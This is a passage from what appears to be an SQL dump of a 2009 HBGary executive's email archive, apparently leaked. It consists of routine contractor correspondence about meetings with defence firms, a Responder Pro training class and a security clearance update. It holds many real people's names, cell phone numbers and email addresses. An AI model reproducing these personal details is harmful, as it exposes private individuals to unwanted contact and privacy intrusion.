&nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',1741,'aaron_hbgary_com/1741.html'),(353,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999774.M371803P3547Q353.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>','Re: GD meeting on Monday, Dec 14','We are going to be there that week, so whatever meetings seem appropriate. &nbsp;I know penny is trying to set up a meeting with one of the BD senior folks.AaronOn Dec 3, 2009, at 11:18 AM, Bob Slapnik wrote:Aaron and Ted,&nbsp;Penny said you guys will be in CA the week of Dec 14.&nbsp; I had scheduled a conference call with Ben Wilson of GD-AIS at 1pm ET (10am PT) on Dec 14.&nbsp; If you are going out then you could meet Ben and others from GD in person.&nbsp; Penny is arranging meetings with others from GD for that same day.&nbsp; GD is in Santa Clara so that could influence which airport you fly into.&nbsp; I’d like to get confirmation on this plan so I can close the loop with Ben.&nbsp;Bob&nbsp;',11141,'aaron_hbgary_com/11141.html'),(354,'2009-12-03','\"Nolan Clifford\" <nolan@informationsecuritysolutionsllc.com>','/aaron@hbgary.com/new/1296999774.M558039P3547Q354.eml','\"Maria Lucas\" <maria@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,\"Ted Vera\" <ted@hbgary.com>','RE: Nolan Clifford','\r\n\r\n\r\n\r\n\r\nMaria - Thanks for the intro!\r\n&nbsp;\r\nAaron and Ted&nbsp; - We are a subcontractor to the recently \r\nawarded Mission Support Cyber Security contract in the DHS National Cyber \r\nSecurity Division (NCSD) and are also focused on the NSA where I started my \r\ncareer in Information Assurance. Looking forward to getting \r\ntogether.\r\n&nbsp;\r\nBest,\r\nNolan\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Maria Lucas [mailto:maria@hbgary.com] \r\nSent: Thursday, December 03, 2009 2:36 PMTo: Aaron Barr; \r\nTed VeraCc: \r\nnolan@informationsecuritysolutionsllc.comSubject: Nolan \r\nClifford\r\n\r\nAaron / Ted\r\n&nbsp;\r\nNolan Clifford is CEO of Information Security Consultants and a partner for \r\nHBGary where he is leveraging his contacts to assist with enterprise \r\nsales.&nbsp; Nolan\'s main business however is security consulting and \r\ninformation assurance services&nbsp;which is closer to&nbsp;the mission of \r\nHBGary Federal.&nbsp; I know you\'ve just gotten started but wanted to ask when \r\nyou may have an opportunity to meet with Nolan, he is in D.C.?\r\n&nbsp;\r\nMaria\r\n&nbsp;\r\nBrief Bio for Nolan Clifford:\r\n&nbsp;\r\nCEO of Information Security Solutions LLC, providing a full range of \r\nsecurity consulting services to US Federal, Global Public Sector and Commercial \r\nclients. Former Principal, Deloitte &amp; Touche, LLP Security and Privacy \r\nPractice. Former Director at PricewaterhouseCoopers, LLP, within the Washington \r\nFederal Practice. Former Director of Information Assurance, General Dynamics \r\nNetwork Systems, National and Defense Intelligence Solutions and former Director \r\nof the Federal Security Practice at Unisys Corporation. Information Warfare \r\nOfficer for the Naval Reserve Network Warfare Command. Former active duty Naval \r\nCryptology Officer. CISSP. \r\n&nbsp;\r\n&nbsp;\r\n-- Maria Lucas, CISSP | Account Executive | HBGary, \r\nInc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: \r\n240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n',7111,'aaron_hbgary_com/7111.html'),(355,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999774.M730443P3547Q355.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,','Re: Messaging thoughts','of course all of this feeds the active intelligence part to.  Since more operational activity is migrating to the web, as we integrate capabilities from Binary to the human network for analysis, we should be able to start developing pictures not only of the threats themselves but the organizations and people that use them...there are some other more sensitive things that can be integrated for information and action under classified programs.\r\n\r\nAaron\r\n\r\n\r\nOn Dec 3, 2009, at 9:57 AM, Aaron Barr wrote:\r\n\r\n> Counter and mitigation of attacks before they happen.  Through hbgarys\r\n> and it\'s partners knowledge of the threat from the binary to the human\r\n> element.\r\n> \r\n> This involves forward deployed resources to monitor, analyze, and\r\n> report Internet activity, characterizing threats as they evolve and\r\n> provide security configuration changes based on the threat level to\r\n> organizations before they are attacked.\r\n> \r\n> This is the Borg model of cybersecurity.  This answers the incident\r\n> response and system resiliancy/fight through capability.  By the time\r\n> the attack reaches you you already have defenses against it.  Looks at\r\n> the web and evolution of malware more holistically.\r\n> \r\n> \r\n> Partners:\r\n> Hbgary\r\n> Palantir\r\n> CMU\r\n> Xetron\r\n> \r\n> Aaron\r\n> \r\n> From my iPhone\r\n\r\n',6320,'aaron_hbgary_com/6320.html'),(356,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999774.M958031P3547Q356.eml','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','Re: GD conference call','can u go to the training next week or no?AaronOn Dec 2, 2009, at 4:10 PM, Masterson, Brian (Xetron) wrote:\r\nNeed to check ny schedule.  Have my daughter so would have to do some switching.  Tonight or tomorrow.  Ok?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Dec 02 14:42:14 2009Subject: Fwd: GD conference call\r\n\r\nU want to go? &nbsp;I\'ll sacrifice for u. :)AaronFrom my iPhoneBegin forwarded message:From: \" Penny Hoglund\" &lt;penny@hbgary.com&gt;\r\nDate: December 2, 2009 9:06:04 AM ESTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: GD conference call\r\n\r\n\r\nThe class is for 20 people (we have two monitors per station)&nbsp;\r\nWith you, it’s 20 students.&nbsp; If you want to just use a lap top and allow the\r\nCTO to attend, that is fine, just let me know&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 4:04 PM\r\nTo: Penny Hoglund\r\nSubject: Re: GD conference call\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAny chance I can get the cto from NG xetron into the\r\ntraining class next week?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron &nbsp;\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 4:18 PM, \" Penny Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think they may be here that week, if yes I can take\r\nthem on site.&nbsp; I’d also like to set up a meeting with Kirsten and Ryan\r\nOrth&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: \'Barr Aaron\'; \'Ted Vera\'\r\nCc: \'Penny C. Hoglund\'\r\nSubject: GD conference call\r\n\r\n\r\n\r\n&nbsp;Aaron\r\nand Ted,&nbsp;I\r\njust got off the phone with Ben Wilson of GD-AIS.&nbsp; He is our main champion\r\nthere.&nbsp; I scheduled a conference call for 1pm ET Monday, December 14 where\r\nyou guys can begin dialogue.&nbsp; Does this date work for you?&nbsp; Let me\r\nknow and I can send out an invitation with call-in instructions.&nbsp; &nbsp;Ben\r\nsaid he would invite Bill Thompson and Mark Green onto the call.&nbsp; He also\r\nexpressed a desire to invite you to their Santa Clara location to see their\r\nset-up.&nbsp;Bob\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',6213,'aaron_hbgary_com/6213.html'),(357,'2009-12-03','\"Masterson, Brian (Xetron)\" <Brian.Masterson@ngc.com>','/aaron@hbgary.com/new/1296999775.M212869P3547Q357.eml','aaron@hbgary.com','Re: GD conference call','\r\nStill trying to rearrange my schedule?  Won\'t know til tonight.  Can I send a sub?  I don\'t want to miss the opportunity.  I want to run fast with this.Btw, thanks for the info today.\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;To: Masterson, Brian (Xetron)Sent: Thu Dec 03 15:21:42 2009Subject: Re: GD conference call\r\ncan u go to the training next week or no?AaronOn Dec 2, 2009, at 4:10 PM, Masterson, Brian (Xetron) wrote:\r\nNeed to check ny schedule.  Have my daughter so would have to do some switching.  Tonight or tomorrow.  Ok?\r\n\r\n\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nTo: Masterson, Brian (Xetron)\r\nSent: Wed Dec 02 14:42:14 2009Subject: Fwd: GD conference call\r\n\r\nU want to go? &nbsp;I\'ll sacrifice for u. :)AaronFrom my iPhoneBegin forwarded message:From: \" Penny Hoglund\" &lt;penny@hbgary.com&gt;\r\nDate: December 2, 2009 9:06:04 AM ESTTo: \"\'Aaron Barr\'\" &lt;aaron@hbgary.com&gt;Subject: RE: GD conference call\r\n\r\n\r\nThe class is for 20 people (we have two monitors per station)&nbsp;\r\nWith you, it’s 20 students.&nbsp; If you want to just use a lap top and allow the\r\nCTO to attend, that is fine, just let me know&nbsp;\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Tuesday, December 01, 2009 4:04 PM\r\nTo: Penny Hoglund\r\nSubject: Re: GD conference call\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nPenny,\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAny chance I can get the cto from NG xetron into the\r\ntraining class next week?\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nAaron &nbsp;\r\n\r\nFrom my iPhone\r\n\r\n\r\n\r\n\r\nOn Dec 1, 2009, at 4:18 PM, \" Penny Hoglund\" &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think they may be here that week, if yes I can take\r\nthem on site.&nbsp; I’d also like to set up a meeting with Kirsten and Ryan\r\nOrth&nbsp;\r\n\r\n\r\n\r\nFrom: Bob Slapnik\r\n[mailto:bob@hbgary.com] \r\nSent: Tuesday, December 01, 2009 1:13 PM\r\nTo: \'Barr Aaron\'; \'Ted Vera\'\r\nCc: \'Penny C. Hoglund\'\r\nSubject: GD conference call\r\n\r\n\r\n\r\n&nbsp;Aaron\r\nand Ted,&nbsp;I\r\njust got off the phone with Ben Wilson of GD-AIS.&nbsp; He is our main champion\r\nthere.&nbsp; I scheduled a conference call for 1pm ET Monday, December 14 where\r\nyou guys can begin dialogue.&nbsp; Does this date work for you?&nbsp; Let me\r\nknow and I can send out an invitation with call-in instructions.&nbsp; &nbsp;Ben\r\nsaid he would invite Bill Thompson and Mark Green onto the call.&nbsp; He also\r\nexpressed a desire to invite you to their Santa Clara location to see their\r\nset-up.&nbsp;Bob\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',14984,'aaron_hbgary_com/14984.html'),(358,'2009-12-03','nolan@informationsecuritysolutionsllc.com','/aaron@hbgary.com/new/1296999775.M392298P3547Q358.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Nolan Clifford','Sounds good, where and when?Sent via BlackBerry by AT&TFrom:  Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Thu, 3 Dec 2009 16:11:50 -0500To: &lt;nolan@informationsecuritysolutionsllc.com&gt;Subject: Re: Nolan Cliffordlets shoot for next Friday. &nbsp;I will be out west the following week.AaronOn Dec 3, 2009, at 4:09 PM, Nolan Clifford wrote:\r\n\r\nAaron,\r\n&nbsp;\r\nLooking forward to linking up in person. I\'m jammed up \r\ntomorrow but mid to late&nbsp;afternoon next Friday would work, or we could also \r\nlook to the following week which is currently pretty open for \r\nme...\r\n&nbsp;\r\nCheers,\r\nNolan&nbsp;\r\n&nbsp;\r\nNolan Clifford, CISSP\r\nCEO, Information Security Solutions \r\nLLC\r\nhttp://www.informationsecuritysolutionsllc.com\r\nnolan@informationsecuritysolutionsllc.com\r\nOffice - 703-945-7480\r\nCell - 703-869-7396\r\n&nbsp;\r\n&nbsp;\r\n\r\n\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, December 03, 2009 3:59 PMTo: \r\nnolan@informationsecuritysolutionsllc.comCc: Ted Vera; Maria \r\nLucasSubject: Re: Nolan Clifford\r\nHi Nolan,\r\n\r\nI look forward to getting together. &nbsp;I could get together tomorrow \r\nafternoon. &nbsp;Next week is a bit spotty but could get together next Friday. \r\n&nbsp;Let me know if either of those work.\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n\r\n\r\nOn Dec 3, 2009, at 2:35 PM, Maria Lucas wrote:\r\n\r\n  Aaron / Ted\r\n  &nbsp;\r\n  Nolan Clifford is CEO of Information Security Consultants and a partner \r\n  for HBGary where he is leveraging his contacts to assist with enterprise \r\n  sales.&nbsp; Nolan\'s main business however is security consulting and \r\n  information assurance services&nbsp;which is closer to&nbsp;the mission of \r\n  HBGary Federal.&nbsp; I know you\'ve just gotten started but wanted to ask when \r\n  you may have an opportunity to meet with Nolan, he is in D.C.?\r\n  &nbsp;\r\n  Maria\r\n  &nbsp;\r\n  Brief Bio for Nolan Clifford:\r\n  &nbsp;\r\n  CEO of Information Security Solutions LLC, providing a full range of \r\n  security consulting services to US Federal, Global Public Sector and \r\n  Commercial clients. Former Principal, Deloitte &amp; Touche, LLP Security and \r\n  Privacy Practice. Former Director at PricewaterhouseCoopers, LLP, within the \r\n  Washington Federal Practice. Former Director of Information Assurance, General \r\n  Dynamics Network Systems, National and Defense Intelligence Solutions and \r\n  former Director of the Federal Security Practice at Unisys Corporation. \r\n  Information Warfare Officer for the Naval Reserve Network Warfare Command. \r\n  Former active duty Naval Cryptology Officer. CISSP. \r\n  &nbsp;\r\n  &nbsp;\r\n  -- Maria Lucas, CISSP | Account Executive | HBGary, \r\n  Inc.Cell Phone 805-890-0401 &nbsp;Office Phone 301-652-8885 x108 Fax: \r\n  240-396-5971Website: &nbsp;www.hbgary.com |email: maria@hbgary.com http://forensicir.blogspot.com/2009/04/responder-pro-review.html\r\n\r\n',12243,'aaron_hbgary_com/12243.html'),(359,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999775.M574706P3547Q359.eml','\"Penny Hoglund\" <penny@hbgary.com>','Re: Beth POwer-Lobbyist for DHS','How often do u teach the class?\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 3, 2009, at 12:44 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> \r\n',5731,'aaron_hbgary_com/5731.html'),(360,'2009-12-03','\"DeeAnn Buonaccorsi\" <deeann@hbgary.com>','/aaron@hbgary.com/new/1296999779.M222100P3547Q360.eml','aaron@hbgary.com','Responder Pro Training Class','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nHi Aaron,\r\n\r\n&nbsp;\r\n\r\nYou are now confirmed for the Responder Pro Training class\r\nDecember 9th &amp; 10th in Washington D.C.&nbsp; The class hours are 8 AM to 5\r\nPM.&nbsp; Attached you will find all the information on facilities and more, if\r\nyou have any questions please contact me at deeann@hbgary.com.\r\n\r\n&nbsp;\r\n\r\nThank You.\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nDeeAnn Buonaccorsi\r\n\r\nOffice\r\nManager\r\n\r\nHBGary,\r\nInc.\r\n\r\n3604\r\nFair Oaks Blvd.&nbsp; Suite 250\r\n\r\nSacramento,\r\nCA&nbsp; 95864\r\n\r\nTel:&nbsp;\r\n916-459-4724 ext. 101\r\n\r\nFax:\r\n916-481-1460\r\n\r\nEmail&nbsp;\r\ndeeann@hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',10116,'aaron_hbgary_com/10116.html'),(361,'2009-12-03','\"Bob Slapnik\" <bob@hbgary.com>','/aaron@hbgary.com/new/1296999779.M476536P3547Q361.eml','\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,\"Wilson, Ben N.\" <Ben.Wilson@gd-ais.com>,,','Dec 14 meeting','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nBen,\r\n\r\n&nbsp;\r\n\r\nWe had scheduled a conference call for 10am PST on Monday,\r\nDecember 14 with yourself and Aaron Barr and Ted Vera of HBGary Federal.&nbsp; All\r\nindications are that they will be in California that week and will be able to\r\nmeet with you in person. Penny is setting up other meetings with GD-AIS\r\npersonnel.&nbsp; Looks like I&#8217;ll be coming out, too.&nbsp; We will stay in communication\r\nas the travel plans and other meetings get scheduled.\r\n\r\n&nbsp;\r\n\r\nYou had asked for a write-up about HBGary Federal.&nbsp; A press\r\nrelease is being written. I will send that to you when I get it.\r\n\r\n&nbsp;\r\n\r\nBob Slapnik&nbsp; |&nbsp; Vice President&nbsp; |&nbsp; HBGary, Inc.\r\n\r\nPhone 301-652-8885 x104&nbsp; |&nbsp; Mobile 240-481-1419\r\n\r\nbob@hbgary.com&nbsp; |&nbsp; www.hbgary.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15242,'aaron_hbgary_com/15242.html'),(362,'2009-12-03','\"Penny Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1296999779.M686312P3547Q362.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Beth POwer-Lobbyist for DHS','We do it pretty often.  We can do another in January if we get the student\r\nwe need, we are doing one here in February and another in DC in March\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Thursday, December 03, 2009 1:42 PM\r\nTo: Penny Hoglund\r\nSubject: Re: Beth POwer-Lobbyist for DHS\r\n\r\nHow often do u teach the class?\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Dec 3, 2009, at 12:44 PM, \" Penny Hoglund\"  wrote:\r\n\r\n> \r\n\r\n',3020,'aaron_hbgary_com/3020.html'),(363,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999779.M893342P3547Q363.eml','\"Brian Masterson\" <Brian.Masterson@ngc.com>','Fwd: Beth POwer-Lobbyist for DHS','FYI.  We can get u in another class on January and one or two others.From my iPhoneBegin forwarded message:From: &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt;\r\nDate: December 3, 2009 5:25:17 PM ESTTo: &quot;&#39;Aaron Barr&#39;&quot; &lt;aaron@hbgary.com&gt;Subject: RE: Beth POwer-Lobbyist for DHS\r\nWe do it pretty often.  We can do another in January if we get the studentwe need, we are doing one here in February and another in DC in March\r\n-----Original Message-----From: Aaron Barr [mailto:aaron@hbgary.com] Sent: Thursday, December 03, 2009 1:42 PMTo: Penny Hoglund\r\nSubject: Re: Beth POwer-Lobbyist for DHSHow often do u teach the class?Aaron From my iPhoneOn Dec 3, 2009, at 12:44 PM, &quot; Penny Hoglund&quot; &lt;penny@hbgary.com&gt; wrote:\r\n&lt;mime-attachment.ics&gt;\r\n',4752,'aaron_hbgary_com/4752.html'),(364,'2009-12-03','\"Ted Vera\" <tedvera@mac.com>','/aaron@hbgary.com/new/1296999780.M106853P3547Q364.eml','\"Aaron Barr\" <aaron@hbgary.com>','Fwd: clearance status (UNCLASSIFIED)','FYI --Begin forwarded message:From: \"Chappell, Scott C Mr CIV USA SMDC ARSTRAT\" &lt;Scott.Chappell@smdc-cs.army.mil&gt;Date: December 3, 2009 4:24:45 PM MSTTo: Vera Ted &lt;tedvera@mac.com&gt;Subject: clearance status (UNCLASSIFIED) Classification: UNCLASSIFIEDCaveats: FOUODude... your investigation is complete and you are eligible... but youractual clearance is \"none\" at the moment.First things first... get your brief done. Will go from there.ScottClassification: UNCLASSIFIEDCaveats: FOUO',9526,'aaron_hbgary_com/9526.html'),(365,'2009-12-03','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999780.M303409P3547Q365.eml','\"Robert Higgins\" <higgins.robert@orbital.com>','Voice from the past','Hi Robert,\r\n\r\nIt\'s been a long time.  I am no longer with Northrop, now the CEO for\r\nHBGary Federal.  Short of it is, we were talking to ARSTRAT about our\r\ncapabilities and they are very interested to do something but kind of\r\nin passing said if we had a satellite/strategic comma component to our\r\noffering we would have it all.  Naturally I thought of you.  Do you\r\nhave some time for coffee or something to catch up?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n From my iPhone\r\n',13095,'aaron_hbgary_com/13095.html'),(366,'2009-12-03','\"Robert Higgins\" <Higgins.Robert@orbital.com>','/aaron@hbgary.com/new/1296999780.M503395P3547Q366.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Voice from the past','I would be great to discuss some future business together.  We have\r\nexpanded our HW and SW capabilities and I definitely would like to see how\r\nwe can collectively expand our businesses.\r\n\r\nRobert Higgins\r\n571 338-9366\r\n\r\n\r\n|------------>\r\n| From:      |\r\n|------------>\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |Aaron Barr                                                                                                                      |\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------>\r\n| To:        |\r\n|------------>\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |Robert Higgins                                                                                                        |\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------>\r\n| Date:      |\r\n|------------>\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |12/03/2009 06:35 PM                                                                                                                               |\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------>\r\n| Subject:   |\r\n|------------>\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |Voice from the past                                                                                                                               |\r\n  >--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n\r\n\r\n\r\n\r\n\r\nHi Robert,\r\n\r\nIt\'s been a long time.  I am no longer with Northrop, now the CEO for\r\nHBGary Federal.  Short of it is, we were talking to ARSTRAT about our\r\ncapabilities and they are very interested to do something but kind of\r\nin passing said if we had a satellite/strategic comma component to our\r\noffering we would have it all.  Naturally I thought of you.  Do you\r\nhave some time for coffee or something to catch up?\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n719.510.8478\r\n\r\n From my iPhone\r\n\r\n\r\n\r\n\r\n-----------------------------------------\r\nNotice:  This e-mail is intended solely for use of the individual\r\nor entity to which it is addressed and may contain information that\r\nis proprietary, privileged and exempt from disclosure under\r\napplicable law.  If the reader is not the intended recipient or\r\nagent responsible for delivering the message to the intended\r\nrecipient, you are hereby notified that any dissemination,\r\ndistribution or copying of this communication is strictly\r\nprohibited.  This communication may also contain data subject to\r\nU.S. export laws.  If so, that data subject to the International\r\nTraffic in Arms Regulation cannot be disseminated, distributed or\r\ncopied to foreign nationals, residing in the U.S. or abroad, absent\r\nthe express prior approval of the U.S. Department of State.   If\r\nyou have received this communication in error, please notify the\r\nsender by reply e-mail and destroy the e-mail message and any\r\nphysical copies made of the communication.  Thank you.\r\n',390,'aaron_hbgary_com/390.html'),(367,'2009-12-04','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1296999780.M687614P3547Q367.eml','\"Ted Vera\" <ted@hbgary.com>','Fwd: Voice from the past','From my iPhoneBegin forwarded message:From: Robert Higgins &lt;Higgins.Robert@orbital.com&gt;\r\nDate: December 3, 2009 6:53:22 PM ESTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Voice from the past\r\nI would be great to discuss some future business together.  We haveexpanded our HW and SW capabilities and I definitely would like to see howwe can collectively expand our businesses.\r\nRobert Higgins571 338-9366|------------&gt;| From:      ||------------&gt;\r\n--------------------------------------------------------------------------------------------------------------------------------------------------|  |Aaron Barr &lt;aaron@hbgary.com&gt;                                                                                                                     |\r\n--------------------------------------------------------------------------------------------------------------------------------------------------||------------&gt;\r\n| To:        ||------------&gt;--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |Robert Higgins &lt;higgins.robert@orbital.com&gt;                                                                                                       |\r\n--------------------------------------------------------------------------------------------------------------------------------------------------||------------&gt;\r\n| Date:      ||------------&gt;--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |12/03/2009 06:35 PM                                                                                                                               |--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n|------------&gt;| Subject:   ||------------&gt;--------------------------------------------------------------------------------------------------------------------------------------------------|\r\n  |Voice from the past                                                                                                                               |--------------------------------------------------------------------------------------------------------------------------------------------------|\r\nHi Robert,It&#39;s been a long time.  I am no longer with Northrop, now the CEO for\r\nHBGary Federal.  Short of it is, we were talking to ARSTRAT about ourcapabilities and they are very interested to do something but kind ofin passing said if we had a satellite/strategic comma component to our\r\noffering we would have it all.  Naturally I thought of you.  Do youhave some time for coffee or something to catch up?Aaron BarrCEOHBGary Federal Inc.\r\n719.510.8478 From my iPhone-----------------------------------------Notice:  This e-mail is intended solely for use of the individual\r\nor entity to which it is addressed and may contain information thatis proprietary, privileged and exempt from disclosure underapplicable law.  If the reader is not the intended recipient or\r\nagent responsible for delivering the message to the intendedrecipient, you are hereby notified that any dissemination,distribution or copying of this communication is strictly\r\nprohibited.  This communication may also contain data subject toU.S. export laws.  If so, that data subject to the InternationalTraffic in Arms Regulation cannot be disseminated, distributed or\r\ncopied to foreign nationals, residing in the U.S. or abroad, absentthe express prior approval of the U.S. Department of State.   Ifyou have received this communication in error, please notify the\r\nsender by reply e-mail and destroy the e-mail message and anyphysical copies made of the communication.  Thank you.\r\n',9320,'aaron_hbgary_com/9320.html'),(368,'2009-12-04','\"Ted Vera\" <ted@hbgary.com>','/aaron@hbgary.com/new/1296999780.M876718P3547Q368.eml','\"Barr Aaron\" <aaron@hbgary.com>','Fwd: Update','Begin forwarded message:From: &quot;Rohlman, William H.&quot; &lt;WILLIAM.H.ROHLMAN@saic.com&gt;\r\nDate: December 3, 2009 5:24:31 PM MSTTo: &quot;Ted Vera&quot; &lt;ted@hbgary.com&gt;Subject: RE: Update\r\n\r\n\r\n\r\n\r\nTed – I had passed your info to Larry right after you got it to\r\nme as possible new hires.   Right afterwards, you let me know you had accepted\r\na position with another company.  I recommend you/Aaron contact Larry directly\r\nto discuss possible teaming between HB Gary and SAIC.\r\n\r\n \r\n\r\nHere’s Larry’s information:\r\n\r\n \r\n\r\nJob Title BU GENERAL MGR \r\n\r\nVP Title: BU SR VP &amp; GEN MGR \r\n\r\nlarry.d.cox@saic.com \r\n\r\n \r\n\r\n443-367-7777\r\n\r\n410-980-7694\r\n\r\n \r\n\r\nOver to you!\r\n\r\n \r\n\r\nBill\r\n\r\n \r\n\r\nWilliam H. Rohlman\r\n\r\nDeputy Operations Manager\r\n\r\nDoD Space Operation\r\n\r\n \r\n\r\n300 N. Sepulveda Blvd.\r\n\r\nEl Segundo, CA 90245\r\n\r\n \r\n\r\n(310) 524-3137 (office)\r\n\r\n(310) 819-6623 (cell)\r\n\r\n \r\n\r\nwilliam.rohlman@saic.com\r\n\r\n \r\n\r\n \r\n\r\n\r\n\r\nFrom: Ted Vera\r\n[mailto:ted@hbgary.com] \r\nSent: Monday, November 30, 2009 7:35 PM\r\nTo: Rohlman, William H.\r\nCc: Barr Aaron\r\nSubject: Re: Update\r\n\r\n\r\n\r\n \r\n\r\nHi Bill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAny luck? Aaron was hoping to set up a meeting this week, if\r\npossible.  The proposal timeline is getting close.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThanks again,\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nOn Wed, Nov 25, 2009 at 9:31 PM, Rohlman, William H. &lt;WILLIAM.H.ROHLMAN@saic.com&gt;\r\nwrote:\r\n\r\nCongrats,\r\nMr President! I&#39;ll see what I can find out. Bill\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Ted Vera &lt;ted@hbgary.com&gt; \r\n\r\nTo: Rohlman, William H. \r\nCc: Barr Aaron &lt;aaron@hbgary.com&gt;\r\n\r\nSent: Wed Nov 25 13:07:20 2009\r\nSubject: Update \r\n\r\n\r\n\r\n\r\n\r\nHi Bill,\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nThe job search went much quicker than we expected, thank you\r\nvery much for your help.  Aaron and I joined HBGary, a small business\r\nwe&#39;ve teamed with over the years that develops some very unique Information\r\nOperations software.  We didn&#39;t hear back from Larry Cox regarding our\r\nresumes, but we would still like to schedule a meeting to discuss potential\r\nteaming on the Romas recompete.  Do you know who is responsible for that\r\ncapture effort?  If possible, we&#39;d like to set up a face-to-face meeting\r\nwith Aaron Barr sometime next week in DC.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nHappy Thanksgiving!\r\n\r\n\r\n\r\n\r\n\r\nTed\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n 